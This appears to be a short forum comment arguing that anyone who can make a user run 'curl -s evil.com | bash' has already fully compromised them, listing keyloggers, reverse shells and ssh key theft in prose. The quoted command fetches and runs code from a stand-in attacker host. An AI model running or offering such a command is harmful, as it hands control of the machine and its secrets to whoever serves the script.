If somebody can get you to run &quot;curl -s evil.com | bash&quot; then <i>you are pwned</i>. They can modify your $PATH and install a key logger and create a reverse shell and upload your ssh private key and forward the reverse connection to anything on your LAN. You have already lost.